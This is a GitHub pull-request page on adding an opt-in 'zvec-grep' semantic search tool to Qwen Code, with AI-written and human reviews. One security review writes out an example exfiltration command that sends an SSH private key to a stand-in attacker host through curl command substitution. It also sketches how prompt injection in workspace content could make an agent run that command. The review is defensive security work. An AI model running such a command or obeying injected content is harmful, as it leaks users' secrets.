feat(tool): add opt-in zvec-grep search tool#6096
Conversation
|
@qwen-code /triage |
|
Re-running triage after the force-push — the PR has changed significantly since the first pass (from a single SKILL.md to a full built-in tool integration). Template looks good ✓ — What, Why, Reviewer Test Plan (with How to verify and benchmark Evidence) are all present and substantive. Problem: observed and evidenced. The 200-session benchmark in the PR description shows measurable token reduction (689K → 497K on the CLI repo, 391K → 277K on the vector-search repo) when zvec_grep is available with a warm index. Semantic search for vague codebase concepts is a real gap — exact grep requires knowing the right keywords upfront. Direction: aligned. Better codebase discovery is core to what a coding agent does. The tool is opt-in ( Size: 1,322 production logic lines across 9 files, 967 test lines across 5 test files. This is a large PR — the 1000+ advisory applies. For awareness: the bulk is the new Approach: the scope feels proportional to the feature. The PR wires a new tool through config (cli + core), settings schema, tool scheduler path scoping, subagent tool lists, and VSCode companion schema — all necessary integration points. The background indexing subsystem adds complexity but serves a clear purpose (warm index for semantic fallback). One question worth considering: the tool auto-installs Moving on to code review. 🔍 中文说明PR 经历 force-push 后变化很大(从单个 SKILL.md 变为完整的内置工具集成),重新运行 triage。 模板完整 ✓ — What、Why、Reviewer Test Plan(含 How to verify 和 benchmark 证据)齐全且实质性强。 问题:已观测并有证据支持。PR 描述中的 200-session benchmark 显示了可衡量的 token 减少(CLI 仓库 689K → 497K,向量搜索仓库 391K → 277K)。对于模糊代码库概念的语义搜索是真实缺口——精确 grep 需要事先知道正确的关键词。 方向:对齐。更好的代码库发现是编码代理的核心功能。工具是可选的( 规模:1,322 行生产逻辑代码跨 9 个文件,967 行测试代码跨 5 个测试文件。这是一个大型 PR——适用 1000+ 建议。主体是新的 方案:范围与功能成比例。PR 将新工具连接到配置(cli + core)、settings schema、工具调度器路径作用域、子代理工具列表和 VSCode 伴侣 schema——所有必要的集成点。后台索引子系统增加了复杂度但服务于明确目的(为语义降级提供预热索引)。一个值得考虑的问题:工具在首次使用时通过 进入代码审查 🔍 — Qwen Code · qwen3.7-max |
2a. Code ReviewIndependent proposal: To add an opt-in Comparison with the PR: The PR matches this proposal and goes further with auto-install ( Findings: No critical issues.
One observation: the auto-install mechanism ( 2b. Real-Scenario TestingBefore (installed qwen, no zvec_grep)No After (PR code, zvec_grep enabled via settings)
After (PR code, zvec_grep disabled by default — no settings)No After (PR code, zvec_grep invoked without zg installed)The tool registered correctly, attempted auto-install (which failed due to a stale npm global directory in this environment), and gracefully fell back to Unit TestsAll tests pass: Typecheck clean for both 中文说明2a. 代码审查独立方案: 添加可选的 与 PR 对比: PR 匹配此方案并更进一步:自动安装( 结论: 无关键问题。自动安装版本固定、有超时和输出限制、使用单例 promise 避免并行安装。后台索引用 2b. 实际场景测试Before(已安装的 qwen,无 zvec_grep): 无 单元测试: 全部通过(27 + 371 + 9 + 259 + 269 = 935 个测试)。Typecheck 干净。 — Qwen Code · qwen3.7-max |
|
This PR has come a long way since the first triage. What started as a single SKILL.md is now a full built-in tool integration — 1,322 production lines, 967 test lines, touching 14 files across 4 packages. The scope grew, but so did the evidence and the implementation quality. Going back to my independent proposal from Stage 2a: the PR matches it and exceeds it. The auto-install, background indexing, and semantic-to-regex fallback are all purposeful additions, not scope creep. Every integration point (config, scheduler, subagents, settings schema, VSCode companion) is wired correctly. The testing confirms what matters: opt-in works correctly (disabled by default, available when enabled), and the graceful degradation is solid — the tool registered, attempted auto-install, failed, and fell back to What I like about this PR: the degradation story is well thought out. Semantic search → regex fallback → The one reservation I have is the auto-install mechanism. Running Approving with that note. The code quality and integration are solid — this is ready to merge once the maintainer confirms the auto-install trust model. 中文说明这个 PR 自第一次 triage 以来经历了很大变化。从单个 SKILL.md 发展到完整的内置工具集成——1,322 行生产代码,967 行测试代码,跨 4 个包的 14 个文件。范围增大了,但证据和实现质量也随之提高。 回顾我在 Stage 2a 的独立方案:PR 匹配并超越了它。自动安装、后台索引和语义到正则的降级都是有目的的新增,不是范围蔓延。每个集成点都正确连接。 测试确认了关键点:opt-in 正确工作(默认禁用,启用后可用),优雅降级可靠——工具注册、尝试自动安装、失败、并降级到 我喜欢这个 PR 的地方:降级策略考虑周全。语义搜索 → 正则降级 → 一个顾虑:自动安装机制。首次使用时运行 带着此说明批准。代码质量和集成都很扎实——维护者确认自动安装信任模型后即可合并。 — Qwen Code · qwen3.7-max |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
| name: zvec-grep | ||
| description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup. | ||
| when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup. | ||
| allowedTools: |
There was a problem hiding this comment.
[Suggestion] Missing argument-hint field. 6 of 8 other bundled skills include one (e.g., '<question>', '<operation> <file-pattern>'). Without it, users invoking /zvec-grep get no prompt hint for what to type.
| allowedTools: | |
| when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup. | |
| argument-hint: '<query>' |
— qwen3.7-max via Qwen Code /review
There was a problem hiding this comment.
Thanks for the tip. I've refactored this into an integrated tool instead of a bundled skill. The tool description and argument description should give enough hint to the agent now.
| allowedTools: | ||
| - Bash(zg *) | ||
| --- | ||
|
|
There was a problem hiding this comment.
[Suggestion] allowedTools omits follow-up tools that the skill body explicitly prescribes. Line 36 instructs the agent to "Open the candidates that look relevant, then continue with file reads, exact search for narrow confirmation." But only Bash(zg *) is auto-approved — every subsequent read_file or grep_search call triggers a permission prompt.
Every other bundled skill that uses allowedTools lists its full expected workflow chain (e.g., review lists 7 tools, simplify lists 7, stuck lists 2). Adding the follow-up tools would make the typical zg → read → grep flow seamless.
| allowedTools: | |
| - Bash(zg *) | |
| - read_file | |
| - grep_search |
— qwen3.7-max via Qwen Code /review
There was a problem hiding this comment.
This has been refactored into an integrated tool, which calls zg cli internally.
LaZzyMan
left a comment
There was a problem hiding this comment.
I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.
Results:
- Qwen Code loaded the
/zvec-grepskill and ran the documented setup command exactly, without adding--api-key:
zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**" - The Qwen Code chat log showed
Exit Code: 0,Error: (none), and the index was initialized successfully. - I then invoked
/zvec-grepagain and had Qwen Code run a semantic search.zgreturned the expected file hit withExit Code: 0.
So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.
My remaining review conclusion: no blocking issue from my side. The argument-hint: '<query>' suggestion is still reasonable UI polish for slash-command invocation, but I do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.
LaZzyMan
left a comment
There was a problem hiding this comment.
I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.
Results:
- Qwen Code loaded the
/zvec-grepskill and ran the documented setup command exactly, without adding--api-key:
zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**" - The Qwen Code chat log showed
Exit Code: 0,Error: (none), and the index was initialized successfully. - I then invoked
/zvec-grepagain and had Qwen Code run a semantic search.zgreturned the expected file hit withExit Code: 0.
So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.
Approved from my side. The argument-hint: '<query>' suggestion is still reasonable optional UI polish for slash-command invocation, but I do not consider it blocking. I also do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.
LaZzyMan
left a comment
There was a problem hiding this comment.
I need to correct my previous approval.
The setup command as documented uses the remote Qwen embedding model:
zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
That path requires credentials in a clean environment. My local Qwen Code run succeeded because the environment was not a true no-credential setup; it had local credential/config state available to zg, so that was not valid evidence that a new user can copy-paste the command without configuring a key.
Please update the setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote-embedding example, or by switching the default copy-paste example to a local embedding model and documenting the remote Qwen variant separately.
Requesting changes for the setup documentation issue. The argument-hint: '<query>' item remains optional UI polish, and I still do not consider broadening allowedTools to read_file / grep_search necessary.
LaZzyMan
left a comment
There was a problem hiding this comment.
I re-tested this in a cleaner setup and this is a required documentation fix.
Test method:
- Created a temporary workspace with this PR's
zvec-grepskill installed as a project skill. - Invoked the skill through Qwen Code, not by manually running
zgoutside the agent path. - Forced the
zgsubprocess into a no-credential environment by clearing the relevant key environment variables and settingHOMEto an empty temporary directory.
Qwen Code's tool call was:
env -u DASHSCOPE_API_KEY -u ZVEC_GREP_API_KEY -u ALIYUN_ACCESS_KEY_ID -u ALIYUN_ACCESS_KEY_SECRET -u ALIBABA_CLOUD_ACCESS_KEY_ID -u ALIBABA_CLOUD_ACCESS_KEY_SECRET HOME=/tmp/zg-no-cred-home.78PmUD zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
The Qwen Code chat log tool result was:
Output: Error: Qwen text-embedding-v4 model requires an API key
Code: ZVEC_GREP.ENGINE.MODELS.QWEN_TEXT_EMBEDDING_V4_MISSING_API_KEY
Details:
model: text-embedding-v4
Exit Code: 1
So the current setup snippet is not copy-pasteable for a clean user environment. Please update the skill setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote embedding example, or by making the default setup example use a local embedding model and documenting the Qwen remote model as a credentialed variant.
The argument-hint: '<query>' suggestion is still optional polish. I do not consider expanding allowedTools to include read_file / grep_search necessary, because allowedTools grants session permissions rather than describing the workflow.
| Use `zg` when it is already installed and the workspace already has an index. | ||
| If setup is missing, suggest terminal commands for the user and continue with | ||
| normal available search tools for this turn. Only install, initialize, or rebuild | ||
| when the user explicitly asks. |
There was a problem hiding this comment.
[Critical] Two CLI syntax errors in the setup command:
--includerequires one glob per flag. ThezgCLI does not accept comma-separated globs for--include(unlike--excludewhich does). Every--includein this file uses the wrong syntax. The correct form is:
--include "src/**" --include "packages/**" --include "docs/**" --include "*.md"This affects the init command here plus all search examples on lines 27, 39-42, 53-54, and 60-62.
- Missing
--api-keyfor remote embedding model.qwen/text-embedding-v4is a remote DashScope model that requires authentication. The command will fail without--api-key "$DASHSCOPE_API_KEY". Alternatively, switch to a local model likelocal/qwen3-embedding-0.6bto avoid requiring external credentials.
Combined fix:
| when the user explicitly asks. | |
| zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**" --include "packages/**" --include "docs/**" --include "*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**" |
— qwen3.7-max via Qwen Code /review
There was a problem hiding this comment.
Thanks for the review.
For the --include syntax, this has been relaxed in the latest version of zg cli, and the installation of the tool pins the version of zg to avoid using old one.
For the --api-key issue, qwencode exports dashscope api key as an env variable in its controlled environment where our tool runs, so zg should be able to get access to it. If users don't have dashscope api key, zg will silently fallback to grep
|
@qwen-code /review |
| when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup. | ||
| allowedTools: | ||
| - Bash(zg *) | ||
| --- |
There was a problem hiding this comment.
[Critical] Bash(zg *) in allowedTools creates a command injection vector. The SKILL.md examples consistently use double-quoted query strings (e.g., zg "login request authentication middleware"), which in bash allow $() command substitution. The permission system's matchesCommandPattern("zg *", ...) regex matches first, setting baseDecision = 'allow', which short-circuits past the containsCommandSubstitutionAST check. A prompt injection via malicious workspace content could cause the agent to construct zg "$(curl attacker.com/exfil -d @~/.ssh/id_rsa)" — auto-approved without user confirmation.
Suggested mitigations:
- Use single quotes in all SKILL.md examples (single quotes prevent
$()expansion in bash) - Add explicit guidance to escape
$, backticks, and\in query strings - Consider using
run_shell_commandinallowedToolsand constraining usage tozgvia the skill body instead of the overly broadBash(zg *)prefix match
— qwen3.7-max via Qwen Code /review
| ## Setup | ||
|
|
||
| Use `zg` when it is already installed and the workspace already has an index. | ||
| If setup is missing, suggest terminal commands for the user and continue with |
There was a problem hiding this comment.
[Suggestion] No error handling for zg runtime failures. The Setup section covers only the "not installed / no index" case, but there are no instructions for runtime failures: embedding API errors (expired key, rate limit, quota), corrupt/stale index, OOM, or timeout. The agent has no decision tree for whether to retry, fall back to grep_search, or report the error. Other skills that shell out (e.g., batch, loop) include explicit error-handling sections.
Consider adding an "Error Handling" section covering: (1) non-zero exit → treat as missing setup, fall back; (2) API/auth errors → tell user, fall back; (3) one retry is fine, then fall back; (4) never silently swallow errors.
— qwen3.7-max via Qwen Code /review
| when they are not part of the question. | ||
|
|
||
| For code searches, `--symbol-type` can narrow results to indexed symbols such | ||
| as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it |
There was a problem hiding this comment.
[Suggestion] --prefer-symbol is mentioned in prose but no example demonstrates its syntax. The agent cannot determine whether it takes a value (--prefer-symbol AuthService), is a boolean flag, or pairs with --symbol-type.
| as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it | |
| Add `--prefer-symbol` when a symbol-like anchor should rank ahead of surrounding text. For example: | |
| zg "auth decision flow" --fts "AuthService" --prefer-symbol --include "src/**" |
— qwen3.7-max via Qwen Code /review
| For code searches, `--symbol-type` can narrow results to indexed symbols such | ||
| as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it | ||
| for multiple symbol types; add `--prefer-symbol` when a symbol-like anchor | ||
| should rank ahead of surrounding text. |
There was a problem hiding this comment.
[Suggestion] These two --symbol-type examples are the only zg commands in the file that omit --exclude, contradicting the guidance on lines 60-62 to exclude dependencies and build output. Agent following these verbatim will get noisy results from node_modules/, dist/, etc.
| should rank ahead of surrounding text. | |
| zg "request validation function" "parse options helper" --symbol-type function --include "src/**,packages/**" --exclude "node_modules/**,dist/**" | |
| zg "plugin lifecycle interface" "provider registry class" --symbol-type interface --symbol-type class --include "src/**,docs/**" --exclude "node_modules/**,dist/**" |
— qwen3.7-max via Qwen Code /review
| zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**" | ||
| zg "background job retry backoff setting" "queue worker concurrency option" --include "src/**,config/**,docs/**" --exclude "dist/**,node_modules/**,build/**" --limit 15 | ||
| zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**" | ||
| ``` |
There was a problem hiding this comment.
[Suggestion] --fts appears in two examples but is never explained. The agent has no basis for choosing --fts "AuthService" over simply adding AuthService as a third positional query string. Consider adding one sentence explaining what --fts does, e.g., "adds a full-text-search boost that ranks results containing these exact tokens higher."
— qwen3.7-max via Qwen Code /review
| @@ -0,0 +1,80 @@ | |||
| --- | |||
| name: zvec-grep | |||
| description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup. | |||
There was a problem hiding this comment.
[Suggestion] description and when_to_use frontmatter fields substantially overlap — both enumerate the same use cases (semantic discovery, behavior tracing, implementation flows, API questions) in slightly different words. Combined ~500 chars of near-duplicate text are injected into every prompt that lists available skills. Other skills either use only description or keep the two fields complementary.
Consider trimming description to a single sentence (e.g., "Semantic workspace search via the zg CLI for open-ended code and document discovery.") and keeping the triggering/skip criteria only in when_to_use.
— qwen3.7-max via Qwen Code /review
wenshao
left a comment
There was a problem hiding this comment.
No new review findings beyond the 9 existing inline comments — the prior reviewers have thorough coverage. Downgraded from Approve to Comment: CI still running.
— qwen3.7-max via Qwen Code /review
| Use `zg` when it is already installed and the workspace already has an index. | ||
| If setup is missing, suggest terminal commands for the user and continue with | ||
| normal available search tools for this turn. Only install, initialize, or rebuild | ||
| when the user explicitly asks. |
There was a problem hiding this comment.
[Critical] Missing --api-key for remote embedding model
The setup command uses --embedding qwen/text-embedding-v4 (a remote model) without the required --api-key flag. The upstream @zvec/zvec-grep package's own SKILL.md shows --api-key "$DASHSCOPE_API_KEY" alongside this model. Without it, zg --init will fail with an authentication error.
| when the user explicitly asks. | |
| zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**" |
Alternatively, consider using a local embedding model (e.g., local/embeddinggemma-300m) that requires no API key.
— qwen3.7-max via Qwen Code /review
| If setup is missing, suggest terminal commands for the user and continue with | ||
| normal available search tools for this turn. Only install, initialize, or rebuild | ||
| when the user explicitly asks. | ||
|
|
There was a problem hiding this comment.
[Suggestion] --exclude omits sensitive file patterns
zg --init sends all matched file contents to a remote embedding API. The default --exclude patterns (node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**) do not exclude sensitive files like .env*, *.pem, *.key, secrets/**, or credentials/**. Users following the setup verbatim may unknowingly transmit sensitive files to the external API.
| zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**,.env*,**/*.pem,**/*.key,**/secrets.*" |
— qwen3.7-max via Qwen Code /review
|
|
||
| Use `zg` when it is already installed and the workspace already has an index. | ||
| If setup is missing, suggest terminal commands for the user and continue with | ||
| normal available search tools for this turn. Only install, initialize, or rebuild |
There was a problem hiding this comment.
[Suggestion] No version pin for pre-1.0 CLI dependency
npm install -g @zvec/zvec-grep installs latest (currently 0.1.2). All three published versions are pre-1.0, so any documented CLI flag (--fts, --symbol-type, --prefer-symbol, etc.) could change in any release without a semver major bump.
| normal available search tools for this turn. Only install, initialize, or rebuild | |
| npm install -g @zvec/zvec-grep@0.1.2 |
— qwen3.7-max via Qwen Code /review
| @@ -0,0 +1,87 @@ | |||
| --- | |||
| name: zvec-grep | |||
| description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup. | |||
There was a problem hiding this comment.
[Suggestion] description contains behavioral directives toward grep_search that load into every system prompt
The description says "use zvec-grep before native grep_search" and "Use grep_search mainly for..." — these are instructions altering how the model uses a different tool, rendered in the <available_skills> block of every prompt regardless of whether this skill is invoked. No other bundled skill does this. This may cause the model to invoke zvec-grep as a prerequisite before every grep_search call, adding wasted turns when zg isn't installed.
Consider moving the ordering directives into the skill body (where they are only visible when invoked) and keeping description as a factual summary, e.g.:
| description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup. | |
| description: Semantic workspace search via the `zg` CLI for open-ended code and document discovery when exact keywords, symbols, or files are unknown. Best for behavior tracing, implementation flows, API questions, architecture, and fuzzy discovery. |
— qwen3.7-max via Qwen Code /review
| when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup. | ||
| argument-hint: '[setup|query]' | ||
| allowedTools: | ||
| - Bash(zg *) |
There was a problem hiding this comment.
[Critical] Bash(zg *) auto-approves every zg subcommand when the skill is invoked, but the skill body later says installs, init, and rebuilds should only happen when the user explicitly asks. The upstream CLI includes mutating commands such as zg --init, zg --init --rebuild, zg --collections index, and zg --collections remove, so this allow rule lets a mistaken model action bypass the very confirmation boundary the skill is trying to establish. Please remove this grant, or wait for a narrower permission pattern that can allow read-only query commands without allowing index creation/rebuild/removal.
— GPT-5 via Qwen Code /review
| A typical search uses one to three related queries: | ||
|
|
||
| ```bash | ||
| zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**" |
There was a problem hiding this comment.
[Critical] Normal zg queries refresh stale anonymous indexes by default, and this skill's setup path uses the remote qwen/text-embedding-v4 embedding model. That means a routine search can read newly changed workspace files and send their fragments to the remote embedding provider even though the user only asked to search and did not explicitly request indexing or rebuilding. Please make routine query guidance use --no-auto-update, or require an explicit user opt-in before allowing searches that may refresh a remote-backed index.
| zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**" | |
| zg "login request authentication middleware" "session token refresh path" --no-auto-update --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**" |
— GPT-5 via Qwen Code /review
| zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**" | ||
| ``` | ||
|
|
||
| Add `--fts` when exact anchors are known, such as symbols, enum members, flags, |
There was a problem hiding this comment.
[Suggestion] The examples encourage semantic query text plus exact anchors, but the setup command points users at a remote embedding model. Agents may paste secrets, customer identifiers, or private incident/error payloads into those semantic queries, which sends that text to the embedding provider. Please add a privacy guard telling agents to use local grep_search or a local embedding model for sensitive anchors, and to avoid putting secrets/PII/customer data into remote-backed semantic queries.
| Add `--fts` when exact anchors are known, such as symbols, enum members, flags, | |
| Before sending semantic queries to a remote-backed index, avoid secrets, PII, | |
| customer identifiers, and private incident payloads; use local `grep_search` or | |
| a local embedding model for sensitive exact anchors. | |
| Add `--fts` when exact anchors are known, such as symbols, enum members, flags, | |
| headings, or non-sensitive error strings: |
— GPT-5 via Qwen Code /review
wenshao
left a comment
There was a problem hiding this comment.
Reviewed the skill end-to-end, including how it integrates with the skill loader, permission system, and build. The integration mechanics all check out: bundled-skill discovery and the build copy are glob-based so no registry or build change is needed, when_to_use / argument-hint / allowedTools are all supported frontmatter, the bundled-skills integration test passes on this file, and @zvec/zvec-grep on npm is published by zvec@alibaba-inc.com, so package provenance is fine.
Four inline comments. The two substantive ones:
allowedTools: Bash(zg *)(line 7) — once the skill is invoked, this becomes a session-wide auto-approve that also coverszg --init/--rebuild(workspace contents → remote embedding API), which silently voids the body's "only when the user explicitly asks" guardrail.- Default exposure (line 3) — the skill is advertised to every session and tells the model to prefer
zgovergrep_search, butzgwon't be installed on most users' machines; that's a wasted skill load plus a failed shell call on common open-ended questions.
The other two: the setup command is missing the --api-key step its upstream README shows (plus a privacy note / local-model option), and the query examples filter on paths the suggested index never contains.
🤖 Generated with Claude Code — Claude Fable 5
| when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup. | ||
| argument-hint: '[setup|query]' | ||
| allowedTools: | ||
| - Bash(zg *) |
There was a problem hiding this comment.
This entry has a bigger effect than the prose suggests: allowedTools is applied via applySkillAllowedTools → PermissionManager.addSessionAllowRule when the skill is invoked (both the slash-command path in BundledSkillLoader and the model-invoked Skill tool do this), so after one activation every zg invocation is auto-approved for the rest of the session — including zg --init / --rebuild, which read workspace files and upload their contents to the remote embedding API.
That leaves the guardrail below ("Only install, initialize, or rebuild when the user explicitly asks", lines 25–26) with no permission-layer backing: in default approval mode the user never sees a prompt, so a model mistake — or an injected instruction inside search results — can trigger an index build/upload silently. Allow rules can't express "zg except --init", so I'd drop this grant and let the normal shell-permission flow handle zg (users can still choose "always allow" on first use).
If it stays, please use the native tool name run_shell_command(zg *) like the other bundled skills — the Bash(...) spelling only works through the Claude Code compatibility alias in rule-parser.ts.
| @@ -0,0 +1,87 @@ | |||
| --- | |||
| name: zvec-grep | |||
| description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup. | |||
There was a problem hiding this comment.
Bundled skills are model-invocable and advertised in every session by default (there's no availability check, and only the skills.disabled setting opts out), so this description tells the model to reach for zg before the built-in grep_search on all open-ended questions — for every qwen-code user, while zg is installed on almost none of their machines. On a default install the likely steady state is: a skill load plus a failed zg run (command not found / no index) on every "how does X work" question, then fallback to grep_search, plus recurring nudges to globally install a third-party package (currently v0.1.x, published a few days ago).
Suggestions: ship with disable-model-invocation: true so it's opt-in via /zvec-grep until the tool matures, or at minimum reword the description so it doesn't claim priority over grep_search unconditionally (e.g. "when zg is installed and the workspace is indexed, use it before grep_search…").
|
|
||
| ```bash | ||
| npm install -g @zvec/zvec-grep | ||
| zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**" |
There was a problem hiding this comment.
Two gaps compared with the upstream README:
qwen/text-embedding-v4is a remote DashScope model, and the README's own init example passes--api-key "$DASHSCOPE_API_KEY". As written this command fails in any environment without credentials, and the skill gives the agent no hint that the fix is auth — the likely failure mode is the model re-suggesting the same broken command, or looping on "refine the query" advice against a missing index.- There's no mention that remote embedding sends workspace file contents to a cloud API, nor of the local models the README lists (
local/qwen3-embedding-0.6b,local/embeddinggemma-300m) for users who don't want code leaving the machine.
Suggest adding the api-key step, a one-line privacy note, and the local-model alternative.
|
|
||
| ```bash | ||
| zg "request permission check before handler" "policy object maps roles to actions" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**" | ||
| zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**" |
There was a problem hiding this comment.
Minor: these examples --include paths that the suggested init command above never indexes (handbook/**, config/**, api/**, openapi/**). Semantic search can only return what's in the index, so an agent following both verbatim gets zero results and may conclude "no evidence exists" — this doc's own use case — when the paths simply weren't indexed. Worth aligning the examples with the init filters, or adding a sentence that empty results for paths outside the index are inconclusive (check index coverage before concluding absence).
0114b09 to
a53fda7
Compare
|
Please do not rebase or force-push to an active PR as it invalidates existing review comments. Note for future reference, the bots always squash all changes into a single commit automatically as part of the integration. 中文请勿对活跃的 PR 执行 rebase 或 force-push,因为这会使已有的评审评论失效。另外,供日后参考:作为集成流程的一部分,机器人始终会自动将所有改动压缩(squash)为单个提交。 |
|
Thanks for the earlier reviews, and sorry for the force-push churn. I reworked the PR substantially based on the concerns raised. This is no longer a bundled skill PR. The bundled skill and setup docs were removed. The current patch adds an opt-in built-in search tool instead:
Given the redesign, most earlier inline comments refer to removed |
| }); | ||
| } | ||
|
|
||
| function installZvecGrep(signal: AbortSignal): Promise<ZgCommandResult> { |
There was a problem hiding this comment.
[Critical] Silent auto-install of zg without user consent
When zg is not found on PATH, runZg silently calls installZvecGrep which runs npm install -g @zvec/zvec-grep@0.1.4 --registry https://registry.npmmirror.com. This happens without any permission prompt, notification, or opt-out mechanism.
This contradicts the PR description ("does not perform install/init/rebuild unless explicitly asked") and introduces supply-chain risk: the full process.env (including API keys like DASHSCOPE_API_KEY, QWEN_API_KEY) is forwarded to the npm subprocess and any postinstall scripts it runs.
Additionally, the hardcoded registry npmmirror.com is inaccessible or slow for users outside China.
Suggested fix: Remove the auto-install logic entirely. If zg is not found, return a clear error message suggesting manual installation. If auto-install must be kept: (1) require explicit user confirmation via the permission system, (2) respect the user's configured npm registry, (3) construct a minimal environment for the npm subprocess instead of forwarding all secrets.
— qwen3.7-max via Qwen Code /review
|
|
||
| function buildSearchArgs(params: ZvecGrepParams): string[] { | ||
| const searchQuery = getSearchQuery(params); | ||
| const args = searchQuery ? [searchQuery] : []; |
There was a problem hiding this comment.
[Critical] Argument injection via search query — missing -- end-of-options
The user-controlled search query is passed as a bare positional argument without a -- separator. A crafted query like --index, --status, or --embedding local/evil would be interpreted as a CLI flag by the zg binary.
This affects both buildSearchArgs (line 285: const args = searchQuery ? [searchQuery] : []) and buildGrepArgs (line 295: args.push(searchQuery)).
| const args = searchQuery ? [searchQuery] : []; | |
| const args = searchQuery ? ['--', searchQuery] : []; |
Apply the same fix to buildGrepArgs:
| const args = searchQuery ? [searchQuery] : []; | |
| if (searchQuery) { | |
| args.push('--', searchQuery); | |
| } |
— qwen3.7-max via Qwen Code /review
|
|
||
| function buildIndexArgs(params: ZvecGrepParams): string[] { | ||
| const args = ['--index', '--embedding', getIndexEmbeddingModel()]; | ||
| addScopeArgs(args, params); |
There was a problem hiding this comment.
[Critical] Background index scoped to first query's narrow scope
